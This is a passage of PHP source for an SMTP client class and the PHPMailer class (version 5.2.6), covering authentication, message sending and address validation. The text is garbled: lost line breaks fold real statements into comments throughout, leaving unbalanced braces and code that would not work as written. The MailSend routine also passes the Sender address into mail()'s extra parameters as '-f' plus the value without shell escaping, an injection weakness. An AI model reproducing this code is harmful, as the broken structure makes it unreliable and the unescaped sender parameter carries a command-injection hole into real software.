if(substr(PHP_OS, 0, 3) != 'WIN') {
$max = ini_get('max_execution_time');
if ($max != 0 && $timeout > $max) {
// Don't bother if unlimited @set_time_limit($timeout);
}
stream_set_timeout($this->smtp_conn, $timeout, 0);
}
$announce = $this->get_lines();
if($this->do_debug >= 2) {
$this->edebug('SMTP -> FROM SERVER:' . $announce);
}
return true;
}
public function StartTLS() {
$this->error = null;
# to avoid confusion if(!$this->connected()) {
$this->error = array('error' => 'Called StartTLS() without being connected');
return false;
}
$this->client_send('STARTTLS' . $this->CRLF);
$rply = $this->get_lines();
$code = substr($rply, 0, 3);
if($this->do_debug >= 2) {
$this->edebug('SMTP -> FROM SERVER:' . $rply);
}
if($code != 220) {
$this->error = array('error' => 'STARTTLS not accepted from server', 'smtp_code' => $code, 'smtp_msg' => substr($rply, 4));
if($this->do_debug >= 1) {
$this->edebug('SMTP -> ERROR: ' . $this->error['error'] . ': ' . $rply);
}
return false;
}
if(!stream_socket_enable_crypto($this->smtp_conn, true, STREAM_CRYPTO_METHOD_TLS_CLIENT)) {
return false;
}
return true;
}
public function Authenticate($username, $password, $authtype='LOGIN', $realm='', $workstation='') {
if (empty($authtype)) {
$authtype = 'LOGIN';
}
switch ($authtype) {
case 'PLAIN': $this->client_send('AUTH PLAIN' . $this->CRLF);
$rply = $this->get_lines();
$code = substr($rply, 0, 3);
if($code != 334) {
$this->error = array('error' => 'AUTH not accepted from server', 'smtp_code' => $code, 'smtp_msg' => substr($rply, 4));
if($this->do_debug >= 1) {
$this->edebug('SMTP -> ERROR: ' . $this->error['error'] . ': ' . $rply);
}
return false;
}
$this->client_send(base64_encode("\0".$username."\0".$password) . $this->CRLF);
$rply = $this->get_lines();
$code = substr($rply, 0, 3);
if($code != 235) {
$this->error = array('error' => 'Authentication not accepted from server', 'smtp_code' => $code, 'smtp_msg' => substr($rply, 4));
if($this->do_debug >= 1) {
$this->edebug('SMTP -> ERROR: ' . $this->error['error'] . ': ' . $rply);
}
return false;
}
break;
case 'LOGIN': $this->client_send('AUTH LOGIN' . $this->CRLF);
$rply = $this->get_lines();
$code = substr($rply, 0, 3);
if($code != 334) {
$this->error = array('error' => 'AUTH not accepted from server', 'smtp_code' => $code, 'smtp_msg' => substr($rply, 4));
if($this->do_debug >= 1) {
$this->edebug('SMTP -> ERROR: ' . $this->error['error'] . ': ' . $rply);
}
return false;
}
$this->client_send(base64_encode($username) . $this->CRLF);
$rply = $this->get_lines();
$code = substr($rply, 0, 3);
if($code != 334) {
$this->error = array('error' => 'Username not accepted from server', 'smtp_code' => $code, 'smtp_msg' => substr($rply, 4));
if($this->do_debug >= 1) {
$this->edebug('SMTP -> ERROR: ' . $this->error['error'] . ': ' . $rply);
}
return false;
}
$this->client_send(base64_encode($password) . $this->CRLF);
$rply = $this->get_lines();
$code = substr($rply, 0, 3);
if($code != 235) {
$this->error = array('error' => 'Password not accepted from server', 'smtp_code' => $code, 'smtp_msg' => substr($rply, 4));
if($this->do_debug >= 1) {
$this->edebug('SMTP -> ERROR: ' . $this->error['error'] . ': ' . $rply);
}
return false;
}
break;
case 'NTLM': require_once 'extras/ntlm_sasl_client.php';
$temp = new stdClass();
$ntlm_client = new ntlm_sasl_client_class;
if(! $ntlm_client->Initialize($temp)){//let's test if every function its available $this->error = array('error' => $temp->error);
if($this->do_debug >= 1) {
$this->edebug('You need to enable some modules in your php.ini file: ' . $this->error['error']);
}
return false;
}
$msg1 = $ntlm_client->TypeMsg1($realm, $workstation);//msg1 $this->client_send('AUTH NTLM ' . base64_encode($msg1) . $this->CRLF);
$rply = $this->get_lines();
$code = substr($rply, 0, 3);
if($code != 334) {
$this->error = array('error' => 'AUTH not accepted from server', 'smtp_code' => $code, 'smtp_msg' => substr($rply, 4));
if($this->do_debug >= 1) {
$this->edebug('SMTP -> ERROR: ' . $this->error['error'] . ': ' . $rply);
}
return false;
}
$challenge = substr($rply, 3);//though 0 based, there is a white space after the 3 digit number....//msg2 $challenge = base64_decode($challenge);
$ntlm_res = $ntlm_client->NTLMResponse(substr($challenge, 24, 8), $password);
$msg3 = $ntlm_client->TypeMsg3($ntlm_res, $username, $realm, $workstation);//msg3 $this->client_send(base64_encode($msg3) . $this->CRLF);
$rply = $this->get_lines();
$code = substr($rply, 0, 3);
if($code != 235) {
$this->error = array('error' => 'Could not authenticate', 'smtp_code' => $code, 'smtp_msg' => substr($rply, 4));
if($this->do_debug >= 1) {
$this->edebug('SMTP -> ERROR: ' . $this->error['error'] . ': ' . $rply);
}
return false;
}
break;
case 'CRAM-MD5': $this->client_send('AUTH CRAM-MD5' . $this->CRLF);
$rply = $this->get_lines();
$code = substr($rply, 0, 3);
if($code != 334) {
$this->error = array('error' => 'AUTH not accepted from server', 'smtp_code' => $code, 'smtp_msg' => substr($rply, 4));
if($this->do_debug >= 1) {
$this->edebug('SMTP -> ERROR: ' . $this->error['error'] . ': ' . $rply);
}
return false;
}
$challenge = base64_decode(substr($rply, 4));
$response = $username . ' ' . $this->hmac($challenge, $password);
$this->client_send(base64_encode($response) . $this->CRLF);
$rply = $this->get_lines();
$code = substr($rply, 0, 3);
if($code != 235) {
$this->error = array('error' => 'Credentials not accepted from server', 'smtp_code' => $code, 'smtp_msg' => substr($rply, 4));
if($this->do_debug >= 1) {
$this->edebug('SMTP -> ERROR: ' . $this->error['error'] . ': ' . $rply);
}
return false;
}
break;
}
return true;
}
protected function hmac($data, $key) {
if (function_exists('hash_hmac')) {
return hash_hmac('md5', $data, $key);
}
$b = 64;
// byte length for md5 if (strlen($key) > $b) {
$key = pack('H*', md5($key));
}
$key = str_pad($key, $b, chr(0x00));
$ipad = str_pad('', $b, chr(0x36));
$opad = str_pad('', $b, chr(0x5c));
$k_ipad = $key ^ $ipad ;
$k_opad = $key ^ $opad;
return md5($k_opad . pack('H*', md5($k_ipad . $data)));
}
public function Connected() {
if(!empty($this->smtp_conn)) {
$sock_status = stream_get_meta_data($this->smtp_conn);
if($sock_status['eof']) {
if($this->do_debug >= 1) {
$this->edebug('SMTP -> NOTICE: EOF caught while checking if connected');
}
$this->Close();
return false;
}
return true;
// everything looks good }
return false;
}
public function Close() {
$this->error = null;
// so there is no confusion $this->helo_rply = null;
if(!empty($this->smtp_conn)) {
// close the connection and cleanup fclose($this->smtp_conn);
$this->smtp_conn = 0;
}
}
public function Data($msg_data) {
$this->error = null;
// so no confusion is caused if(!$this->connected()) {
$this->error = array( 'error' => 'Called Data() without being connected');
return false;
}
$this->client_send('DATA' . $this->CRLF);
$rply = $this->get_lines();
$code = substr($rply, 0, 3);
if($this->do_debug >= 2) {
$this->edebug('SMTP -> FROM SERVER:' . $rply);
}
if($code != 354) {
$this->error = array('error' => 'DATA command not accepted from server', 'smtp_code' => $code, 'smtp_msg' => substr($rply, 4));
if($this->do_debug >= 1) {
$this->edebug('SMTP -> ERROR: ' . $this->error['error'] . ': ' . $rply);
}
return false;
}
$msg_data = str_replace("\r\n", "\n", $msg_data);
$msg_data = str_replace("\r", "\n", $msg_data);
$lines = explode("\n", $msg_data);
$field = substr($lines[0], 0, strpos($lines[0], ':'));
$in_headers = false;
if(!empty($field) && !strstr($field, ' ')) {
$in_headers = true;
}
$max_line_length = 998;
// used below;
set here for ease in change while(list(, $line) = @each($lines)) {
$lines_out = null;
if($line == '' && $in_headers) {
$in_headers = false;
}
while(strlen($line) > $max_line_length) {
$pos = strrpos(substr($line, 0, $max_line_length), ' ');
if(!$pos) {
$pos = $max_line_length - 1;
$lines_out[] = substr($line, 0, $pos);
$line = substr($line, $pos);
}
else {
$lines_out[] = substr($line, 0, $pos);
$line = substr($line, $pos + 1);
}
if($in_headers) {
$line = "\t" . $line;
}
}
$lines_out[] = $line;
while(list(, $line_out) = @each($lines_out)) {
if(strlen($line_out) > 0) {
if(substr($line_out, 0, 1) == '.') {
$line_out = '.' . $line_out;
}
}
$this->client_send($line_out . $this->CRLF);
}
}
$this->client_send($this->CRLF . '.' . $this->CRLF);
$rply = $this->get_lines();
$code = substr($rply, 0, 3);
if($this->do_debug >= 2) {
$this->edebug('SMTP -> FROM SERVER:' . $rply);
}
if($code != 250) {
$this->error = array('error' => 'DATA not accepted from server', 'smtp_code' => $code, 'smtp_msg' => substr($rply, 4));
if($this->do_debug >= 1) {
$this->edebug('SMTP -> ERROR: ' . $this->error['error'] . ': ' . $rply);
}
return false;
}
return true;
}
public function Hello($host = '') {
$this->error = null;
// so no confusion is caused if(!$this->connected()) {
$this->error = array( 'error' => 'Called Hello() without being connected');
return false;
}
if(empty($host)) {
$host = 'localhost';
}
if(!$this->SendHello('EHLO', $host)) {
if(!$this->SendHello('HELO', $host)) {
return false;
}
}
return true;
}
protected function SendHello($hello, $host) {
$this->client_send($hello . ' ' . $host . $this->CRLF);
$rply = $this->get_lines();
$code = substr($rply, 0, 3);
if($this->do_debug >= 2) {
$this->edebug('SMTP -> FROM SERVER: ' . $rply);
}
if($code != 250) {
$this->error = array('error' => $hello . ' not accepted from server', 'smtp_code' => $code, 'smtp_msg' => substr($rply, 4));
if($this->do_debug >= 1) {
$this->edebug('SMTP -> ERROR: ' . $this->error['error'] . ': ' . $rply);
}
return false;
}
$this->helo_rply = $rply;
return true;
}
public function Mail($from) {
$this->error = null;
// so no confusion is caused if(!$this->connected()) {
$this->error = array( 'error' => 'Called Mail() without being connected');
return false;
}
$useVerp = ($this->do_verp ? ' XVERP' : '');
$this->client_send('MAIL FROM:<' . $from . '>' . $useVerp . $this->CRLF);
$rply = $this->get_lines();
$code = substr($rply, 0, 3);
if($this->do_debug >= 2) {
$this->edebug('SMTP -> FROM SERVER:' . $rply);
}
if($code != 250) {
$this->error = array('error' => 'MAIL not accepted from server', 'smtp_code' => $code, 'smtp_msg' => substr($rply, 4));
if($this->do_debug >= 1) {
$this->edebug('SMTP -> ERROR: ' . $this->error['error'] . ': ' . $rply);
}
return false;
}
return true;
}
public function Quit($close_on_error = true) {
$this->error = null;
// so there is no confusion if(!$this->connected()) {
$this->error = array( 'error' => 'Called Quit() without being connected');
return false;
}
$this->client_send('quit' . $this->CRLF);
$byemsg = $this->get_lines();
if($this->do_debug >= 2) {
$this->edebug('SMTP -> FROM SERVER:' . $byemsg);
}
$rval = true;
$e = null;
$code = substr($byemsg, 0, 3);
if($code != 221) {
$e = array('error' => 'SMTP server rejected quit command', 'smtp_code' => $code, 'smtp_rply' => substr($byemsg, 4));
$rval = false;
if($this->do_debug >= 1) {
$this->edebug('SMTP -> ERROR: ' . $e['error'] . ': ' . $byemsg);
}
}
if(empty($e) || $close_on_error) {
$this->Close();
}
return $rval;
}
public function Recipient($to) {
$this->error = null;
// so no confusion is caused if(!$this->connected()) {
$this->error = array( 'error' => 'Called Recipient() without being connected');
return false;
}
$this->client_send('RCPT TO:<' . $to . '>' . $this->CRLF);
$rply = $this->get_lines();
$code = substr($rply, 0, 3);
if($this->do_debug >= 2) {
$this->edebug('SMTP -> FROM SERVER:' . $rply);
}
if($code != 250 && $code != 251) {
$this->error = array('error' => 'RCPT not accepted from server', 'smtp_code' => $code, 'smtp_msg' => substr($rply, 4));
if($this->do_debug >= 1) {
$this->edebug('SMTP -> ERROR: ' . $this->error['error'] . ': ' . $rply);
}
return false;
}
return true;
}
public function Reset() {
$this->error = null;
// so no confusion is caused if(!$this->connected()) {
$this->error = array('error' => 'Called Reset() without being connected');
return false;
}
$this->client_send('RSET' . $this->CRLF);
$rply = $this->get_lines();
$code = substr($rply, 0, 3);
if($this->do_debug >= 2) {
$this->edebug('SMTP -> FROM SERVER:' . $rply);
}
if($code != 250) {
$this->error = array('error' => 'RSET failed', 'smtp_code' => $code, 'smtp_msg' => substr($rply, 4));
if($this->do_debug >= 1) {
$this->edebug('SMTP -> ERROR: ' . $this->error['error'] . ': ' . $rply);
}
return false;
}
return true;
}
public function SendAndMail($from) {
$this->error = null;
// so no confusion is caused if(!$this->connected()) {
$this->error = array( 'error' => 'Called SendAndMail() without being connected');
return false;
}
$this->client_send('SAML FROM:' . $from . $this->CRLF);
$rply = $this->get_lines();
$code = substr($rply, 0, 3);
if($this->do_debug >= 2) {
$this->edebug('SMTP -> FROM SERVER:' . $rply);
}
if($code != 250) {
$this->error = array('error' => 'SAML not accepted from server', 'smtp_code' => $code, 'smtp_msg' => substr($rply, 4));
if($this->do_debug >= 1) {
$this->edebug('SMTP -> ERROR: ' . $this->error['error'] . ': ' . $rply);
}
return false;
}
return true;
}
public function Turn() {
$this->error = array('error' => 'This method, TURN, of the SMTP '. 'is not implemented');
if($this->do_debug >= 1) {
$this->edebug('SMTP -> NOTICE: ' . $this->error['error']);
}
return false;
}
public function client_send($data) {
if ($this->do_debug >= 1) {
$this->edebug("CLIENT -> SMTP: $data");
}
return fwrite($this->smtp_conn, $data);
}
public function getError() {
return $this->error;
}
protected function get_lines() {
$data = '';
$endtime = 0;
if (!is_resource($this->smtp_conn)) {
return $data;
}
stream_set_timeout($this->smtp_conn, $this->Timeout);
if ($this->Timelimit > 0) {
$endtime = time() + $this->Timelimit;
}
while(is_resource($this->smtp_conn) && !feof($this->smtp_conn)) {
$str = @fgets($this->smtp_conn, 515);
if($this->do_debug >= 4) {
$this->edebug("SMTP -> get_lines(): \$data was \"$data\"");
$this->edebug("SMTP -> get_lines(): \$str is \"$str\"");
}
$data .= $str;
if($this->do_debug >= 4) {
$this->edebug("SMTP -> get_lines(): \$data is \"$data\"");
}
if(substr($str, 3, 1) == ' ') {
break;
}
$info = stream_get_meta_data($this->smtp_conn);
if ($info['timed_out']) {
if($this->do_debug >= 4) {
$this->edebug('SMTP -> get_lines(): timed-out (' . $this->Timeout . ' seconds)');
}
break;
}
// Now check if reads took too long if ($endtime) {
if (time() > $endtime) {
if($this->do_debug >= 4) {
$this->edebug('SMTP -> get_lines(): timelimit reached (' . $this->Timelimit . ' seconds)');
}
break;
}
}
}
return $data;
}
}
class PHPMailer {
public $Priority = 3;
public $CharSet = 'iso-8859-1';
public $ContentType = 'text/plain';
public $Encoding = '8bit';
public $ErrorInfo = '';
public $From = 'root@localhost';
public $FromName = 'Root User';
public $Sender = '';
public $ReturnPath = '';
public $Subject = '';
public $Body = '';
public $AltBody = '';
public $Ical = '';
protected $MIMEBody = '';
protected $MIMEHeader = '';
protected $mailHeader = '';
public $WordWrap = 0;
public $Mailer = 'mail';
public $Sendmail = '/usr/sbin/sendmail';
public $UseSendmailOptions	= true;
public $PluginDir = '';
public $ConfirmReadingTo = '';
public $Hostname = '';
public $MessageID = '';
public $MessageDate = '';
public $Host = 'localhost';
public $Port = 25;
public $Helo = '';
public $SMTPSecure = '';
public $SMTPAuth = false;
public $Username = '';
public $Password = '';
public $AuthType = '';
public $Realm = '';
public $Workstation = '';
public $Timeout = 10;
public $SMTPDebug = false;
public $Debugoutput = "echo";
public $SMTPKeepAlive = false;
public $SingleTo = false;
public $do_verp = false;
public $SingleToArray = array();
public $AllowEmpty = false;
public $LE = "\n";
public $DKIM_selector = '';
public $DKIM_identity = '';
public $DKIM_passphrase = '';
public $DKIM_domain = '';
public $DKIM_private = '';
public $action_function = '';
//'callbackAction';
public $Version = '5.2.6';
public $XMailer = '';
protected $smtp = null;
protected $to = array();
protected $cc = array();
protected $bcc = array();
protected $ReplyTo = array();
protected $all_recipients = array();
protected $attachment = array();
protected $CustomHeader = array();
protected $message_type = '';
protected $boundary = array();
protected $language = array();
protected $error_count = 0;
protected $sign_cert_file = '';
protected $sign_key_file = '';
protected $sign_key_pass = '';
protected $exceptions = false;
const STOP_MESSAGE = 0;
// message only, continue processing const STOP_CONTINUE = 1;
// message?, likely ok to continue processing const STOP_CRITICAL = 2;
// message, plus full stop, critical error reached const CRLF = "\r\n";
// SMTP RFC specified EOL private function mail_passthru($to, $subject, $body, $header, $params) {
if ( ini_get('safe_mode') || !($this->UseSendmailOptions) ) {
$rt = @mail($to, $this->EncodeHeader($this->SecureHeader($subject)), $body, $header);
}
else {
$rt = @mail($to, $this->EncodeHeader($this->SecureHeader($subject)), $body, $header, $params);
}
return $rt;
}
protected function edebug($str) {
switch ($this->Debugoutput) {
case 'error_log': error_log($str);
break;
case 'html': //Cleans up output a bit for a better looking display that's HTML-safe echo htmlentities(preg_replace('/[\r\n]+/', '', $str), ENT_QUOTES, $this->CharSet)."
\n";
break;
case 'echo': default: //Just echoes exactly what was received echo $str;
}
}
public function __construct($exceptions = false) {
$this->exceptions = ($exceptions == true);
}
public function __destruct() {
if ($this->Mailer == 'smtp') {
//Close any open SMTP connection nicely $this->SmtpClose();
}
}
public function IsHTML($ishtml = true) {
if ($ishtml) {
$this->ContentType = 'text/html';
}
else {
$this->ContentType = 'text/plain';
}
}
public function IsSMTP() {
$this->Mailer = 'smtp';
}
public function IsMail() {
$this->Mailer = 'mail';
}
public function IsSendmail() {
if (!stristr(ini_get('sendmail_path'), 'sendmail')) {
$this->Sendmail = '/var/qmail/bin/sendmail';
}
$this->Mailer = 'sendmail';
}
public function IsQmail() {
if (stristr(ini_get('sendmail_path'), 'qmail')) {
$this->Sendmail = '/var/qmail/bin/sendmail';
}
$this->Mailer = 'sendmail';
}
public function AddAddress($address, $name = '') {
return $this->AddAnAddress('to', $address, $name);
}
public function AddCC($address, $name = '') {
return $this->AddAnAddress('cc', $address, $name);
}
public function AddBCC($address, $name = '') {
return $this->AddAnAddress('bcc', $address, $name);
}
public function AddReplyTo($address, $name = '') {
return $this->AddAnAddress('Reply-To', $address, $name);
}
protected function AddAnAddress($kind, $address, $name = '') {
if (!preg_match('/^(to|cc|bcc|Reply-To)$/', $kind)) {
$this->SetError($this->Lang('Invalid recipient array').': '.$kind);
if ($this->exceptions) {
throw new phpmailerException('Invalid recipient array: ' . $kind);
}
if ($this->SMTPDebug) {
$this->edebug($this->Lang('Invalid recipient array').': '.$kind);
}
return false;
}
$address = trim($address);
$name = trim(preg_replace('/[\r\n]+/', '', $name));
//Strip breaks and trim if (!$this->ValidateAddress($address)) {
$this->SetError($this->Lang('invalid_address').': '. $address);
if ($this->exceptions) {
throw new phpmailerException($this->Lang('invalid_address').': '.$address);
}
if ($this->SMTPDebug) {
$this->edebug($this->Lang('invalid_address').': '.$address);
}
return false;
}
if ($kind != 'Reply-To') {
if (!isset($this->all_recipients[strtolower($address)])) {
array_push($this->$kind, array($address, $name));
$this->all_recipients[strtolower($address)] = true;
return true;
}
}
else {
if (!array_key_exists(strtolower($address), $this->ReplyTo)) {
$this->ReplyTo[strtolower($address)] = array($address, $name);
return true;
}
}
return false;
}
public function SetFrom($address, $name = '', $auto = true) {
$address = trim($address);
$name = trim(preg_replace('/[\r\n]+/', '', $name));
//Strip breaks and trim if (!$this->ValidateAddress($address)) {
$this->SetError($this->Lang('invalid_address').': '. $address);
if ($this->exceptions) {
throw new phpmailerException($this->Lang('invalid_address').': '.$address);
}
if ($this->SMTPDebug) {
$this->edebug($this->Lang('invalid_address').': '.$address);
}
return false;
}
$this->From = $address;
$this->FromName = $name;
if ($auto) {
if (empty($this->Sender)) {
$this->Sender = $address;
}
}
return true;
}
public static function ValidateAddress($address) {
if (defined('PCRE_VERSION')) {
//Check this instead of extension_loaded so it works when that function is disabled if (version_compare(PCRE_VERSION, '8.0') >= 0) {
return (boolean)preg_match('/^(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){255,})(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){65,}@)((?>(?>(?>((?>(?>(?>\x0D\x0A)?[\t ])+|(?>[\t ]*\x0D\x0A)?[\t ]+)?)(\((?>(?2)(?>[\x01-\x08\x0B\x0C\x0E-\'*-\[\]-\x7F]|\\\[\x00-\x7F]|(?3)))*(?2)\)))+(?2))|(?2))?)([!#-\'*+\/-9=?^-~-]+|"(?>(?2)(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\x7F]))*(?2)")(?>(?1)\.(?1)(?4))*(?1)@(?!(?1)[a-z0-9-]{64,})(?1)(?>([a-z0-9](?>[a-z0-9-]*[a-z0-9])?)(?>(?1)\.(?!(?1)[a-z0-9-]{64,})(?1)(?5)){0,126}|\[(?:(?>IPv6:(?>([a-f0-9]{1,4})(?>:(?6)){7}|(?!(?:.*[a-f0-9][:\]]){8,})((?6)(?>:(?6)){0,6})?::(?7)?))|(?>(?>IPv6:(?>(?6)(?>:(?6)){5}:|(?!(?:.*[a-f0-9]:){6,})(?8)?::(?>((?6)(?>:(?6)){0,4}):)?))?(25[0-5]|2[0-4][0-9]|1[0-9]{2}|[1-9]?[0-9])(?>\.(?9)){3}))\])(?1)$/isD', $address);
}
else {
//Fall back to an older regex that doesn't need a recent PCRE return (boolean)preg_match('/^(?!(?>"?(?>\\\[ -~]|[^"])"?){255,})(?!(?>"?(?>\\\[ -~]|[^"])"?){65,}@)(?>[!#-\'*+\/-9=?^-~-]+|"(?>(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\xFF]))*")(?>\.(?>[!#-\'*+\/-9=?^-~-]+|"(?>(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\xFF]))*"))*@(?>(?![a-z0-9-]{64,})(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)(?>\.(?![a-z0-9-]{64,})(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)){0,126}|\[(?:(?>IPv6:(?>(?>[a-f0-9]{1,4})(?>:[a-f0-9]{1,4}){7}|(?!(?:.*[a-f0-9][:\]]){8,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?::(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?))|(?>(?>IPv6:(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){5}:|(?!(?:.*[a-f0-9]:){6,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4})?::(?>(?:[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4}):)?))?(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}|[1-9]?[0-9])(?>\.(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}|[1-9]?[0-9])){3}))\])$/isD', $address);
}
}
else {
return (strlen($address) >= 3 and strpos($address, '@') >= 1 and strpos($address, '@') != strlen($address) - 1);
}
}
public function Send() {
try {
if(!$this->PreSend()) return false;
return $this->PostSend();
}
catch (phpmailerException $e) {
$this->mailHeader = '';
$this->SetError($e->getMessage());
if ($this->exceptions) {
throw $e;
}
return false;
}
}
public function PreSend() {
try {
$this->mailHeader = "";
if ((count($this->to) + count($this->cc) + count($this->bcc)) < 1) {
throw new phpmailerException($this->Lang('provide_address'), self::STOP_CRITICAL);
}
// Set whether the message is multipart/alternative if(!empty($this->AltBody)) {
$this->ContentType = 'multipart/alternative';
}
$this->error_count = 0;
// reset errors $this->SetMessageType();
//Refuse to send an empty message unless we are specifically allowing it if (!$this->AllowEmpty and empty($this->Body)) {
throw new phpmailerException($this->Lang('empty_message'), self::STOP_CRITICAL);
}
$this->MIMEHeader = $this->CreateHeader();
$this->MIMEBody = $this->CreateBody();
// To capture the complete message when using mail(), create // an extra header list which CreateHeader() doesn't fold in if ($this->Mailer == 'mail') {
if (count($this->to) > 0) {
$this->mailHeader .= $this->AddrAppend("To", $this->to);
}
else {
$this->mailHeader .= $this->HeaderLine("To", "undisclosed-recipients:;");
}
$this->mailHeader .= $this->HeaderLine('Subject', $this->EncodeHeader($this->SecureHeader(trim($this->Subject))));
}
// digitally sign with DKIM if enabled if (!empty($this->DKIM_domain) && !empty($this->DKIM_private) && !empty($this->DKIM_selector) && !empty($this->DKIM_domain) && file_exists($this->DKIM_private)) {
$header_dkim = $this->DKIM_Add($this->MIMEHeader . $this->mailHeader, $this->EncodeHeader($this->SecureHeader($this->Subject)), $this->MIMEBody);
$this->MIMEHeader = str_replace("\r\n", "\n", $header_dkim) . $this->MIMEHeader;
}
return true;
}
catch (phpmailerException $e) {
$this->SetError($e->getMessage());
if ($this->exceptions) {
throw $e;
}
return false;
}
}
public function PostSend() {
try {
// Choose the mailer and send through it switch($this->Mailer) {
case 'sendmail': return $this->SendmailSend($this->MIMEHeader, $this->MIMEBody);
case 'smtp': return $this->SmtpSend($this->MIMEHeader, $this->MIMEBody);
case 'mail': return $this->MailSend($this->MIMEHeader, $this->MIMEBody);
default: return $this->MailSend($this->MIMEHeader, $this->MIMEBody);
}
}
catch (phpmailerException $e) {
$this->SetError($e->getMessage());
if ($this->exceptions) {
throw $e;
}
if ($this->SMTPDebug) {
$this->edebug($e->getMessage()."\n");
}
}
return false;
}
protected function SendmailSend($header, $body) {
if ($this->Sender != '') {
$sendmail = sprintf("%s -oi -f%s -t", escapeshellcmd($this->Sendmail), escapeshellarg($this->Sender));
}
else {
$sendmail = sprintf("%s -oi -t", escapeshellcmd($this->Sendmail));
}
if ($this->SingleTo === true) {
foreach ($this->SingleToArray as $val) {
if(!@$mail = popen($sendmail, 'w')) {
throw new phpmailerException($this->Lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
}
fputs($mail, "To: " . $val . "\n");
fputs($mail, $header);
fputs($mail, $body);
$result = pclose($mail);
// implement call back function if it exists $isSent = ($result == 0) ? 1 : 0;
$this->doCallback($isSent, $val, $this->cc, $this->bcc, $this->Subject, $body);
if($result != 0) {
throw new phpmailerException($this->Lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
}
}
}
else {
if(!@$mail = popen($sendmail, 'w')) {
throw new phpmailerException($this->Lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
}
fputs($mail, $header);
fputs($mail, $body);
$result = pclose($mail);
// implement call back function if it exists $isSent = ($result == 0) ? 1 : 0;
$this->doCallback($isSent, $this->to, $this->cc, $this->bcc, $this->Subject, $body);
if($result != 0) {
throw new phpmailerException($this->Lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
}
}
return true;
}
protected function MailSend($header, $body) {
$toArr = array();
foreach($this->to as $t) {
$toArr[] = $this->AddrFormat($t);
}
$to = implode(', ', $toArr);
if (empty($this->Sender)) {
$params = " ";
}
else {
$params = sprintf("-f%s", $this->Sender);
}
if ($this->Sender != '' and !ini_get('safe_mode')) {
$old_from = ini_get('sendmail_from');
ini_set('sendmail_from', $this->Sender);
}
$rt = false;
if ($this->SingleTo === true && count($toArr) > 1) {
foreach ($toArr as $val) {
$rt = $this->mail_passthru($val, $this->Subject, $body, $header, $params);
// implement call back function if it exists $isSent = ($rt == 1) ? 1 : 0;
$this->doCallback($isSent, $val, $this->cc, $this->bcc, $this->Subject, $body);
}
}
else {
$rt = $this->mail_passthru($to, $this->Subject, $body, $header, $params);
// implement call back function if it exists $isSent = ($rt == 1) ? 1 : 0;
$this->doCallback($isSent, $to, $this->cc, $this->bcc, $this->Subject, $body);
}
if (isset($old_from)) {
ini_set('sendmail_from', $old_from);
}
if(!$rt) {
throw new phpmailerException($this->Lang('instantiate'), self::STOP_CRITICAL);
}
return true;
}
protected function SmtpSend($header, $body) {
//require_once $this->PluginDir . 'class.smtp.php';
$bad_rcpt = array();
if(!$this->SmtpConnect()) {
throw new phpmailerException($this->Lang('smtp_connect_failed'), self::STOP_CRITICAL);
}
$smtp_from = ($this->Sender == '') ? $this->From : $this->Sender;
if(!$this->smtp->Mail($smtp_from)) {
$this->SetError($this->Lang('from_failed') . $smtp_from . ' : ' .implode(',', $this->smtp->getError()));
throw new phpmailerException($this->ErrorInfo, self::STOP_CRITICAL);
}
// Attempt to send attach all recipients foreach($this->to as $to) {
if (!$this->smtp->Recipient($to[0])) {
$bad_rcpt[] = $to[0];
// implement call back function if it exists $isSent = 0;
$this->doCallback($isSent, $to[0], '', '', $this->Subject, $body);
}
else {
// implement call back function if it exists $isSent = 1;
$this->doCallback($isSent, $to[0], '', '', $this->Subject, $body);
}
}
foreach($this->cc as $cc) {
if (!$this->smtp->Recipient($cc[0])) {
$bad_rcpt[] = $cc[0];
// implement call back function if it exists $isSent = 0;
$this->doCallback($isSent, '', $cc[0], '', $this->Subject, $body);
}
else {
// implement call back function if it exists $isSent = 1;
$this->doCallback($isSent, '', $cc[0], '', $this->Subject, $body);
}
}
foreach($this->bcc as $bcc) {
if (!$this->smtp->Recipient($bcc[0])) {
$bad_rcpt[] = $bcc[0];
// implement call back function if it exists $isSent = 0;
$this->doCallback($isSent, '', '', $bcc[0], $this->Subject, $body);
}
else {
// implement call back function if it exists $isSent = 1;
$this->doCallback($isSent, '', '', $bcc[0], $this->Subject, $body);
}
}
if (count($bad_rcpt) > 0 ) {
//Create error message for any bad addresses $badaddresses = implode(', ', $bad_rcpt);
throw new phpmailerException($this->Lang('recipients_failed') . $badaddresses);
}
if(!$this->smtp->Data($header . $body)) {
throw new phpmailerException($this->Lang('data_not_accepted'), self::STOP_CRITICAL);
}
if($this->SMTPKeepAlive == true) {
$this->smtp->Reset();
}
else {
$this->smtp->Quit();
$this->smtp->Close();
}
return true;
}
public function SmtpConnect($options = array()) {
if(is_null($this->smtp)) {
$this->smtp = new SMTP;
}
//Already connected? if ($this->smtp->Connected()) {
return true;
}
$this->smtp->Timeout = $this->Timeout;
$this->smtp->do_debug = $this->SMTPDebug;
$this->smtp->Debugoutput = $this->Debugoutput;
$this->smtp->do_verp = $this->do_verp;
$index = 0;
$tls = ($this->SMTPSecure == 'tls');
$ssl = ($this->SMTPSecure == 'ssl');
$hosts = explode(';', $this->Host);
$lastexception = null;
foreach ($hosts as $hostentry) {
$hostinfo = array();
$host = $hostentry;
$port = $this->Port;
if (preg_match('/^(.+):([0-9]+)$/', $hostentry, $hostinfo)) {
//If $hostentry contains 'address:port', override default $host = $hostinfo[1];
$port = $hostinfo[2];
}
if ($this->smtp->Connect(($ssl ? 'ssl://':'').$host, $port, $this->Timeout, $options)) {
try {
if ($this->Helo) {
